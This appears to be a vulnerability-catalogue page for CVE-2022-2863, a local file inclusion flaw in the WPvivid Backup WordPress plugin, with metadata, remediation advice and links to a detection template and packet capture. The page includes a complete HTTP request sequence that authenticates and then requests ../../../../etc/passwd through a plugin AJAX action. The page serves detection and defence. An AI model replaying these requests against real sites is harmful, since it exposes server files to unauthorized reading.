🔙 목록으로 돌아가기

CVE-2022-2863: WordPress WPvivid Backup <0.9.76 - Local File Inclusion

TitleWordPress WPvivid Backup <0.9.76 - Local File Inclusion
Authortehtbl
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
RemediationUpgrade to version 0.9.76 or later.
CVSS Score4.9
EPSS Score0.06441
CVE IDCVE-2022-2863
CWE IDCWE-22
Tags cve cve2022 wp wpscan seclists packetstorm authenticated lfi wordpress wp-plugin wpvivid vuln

🔍 Vulnerability Description

WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.11
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=UwXYDA&pwd=1hRp6E&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=WPvivid HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?_wpnonce=MlTW6N&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: close
Referer: http://www.victim.com/wp-admin/admin.php?page=WPvivid
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2863.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-2863.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A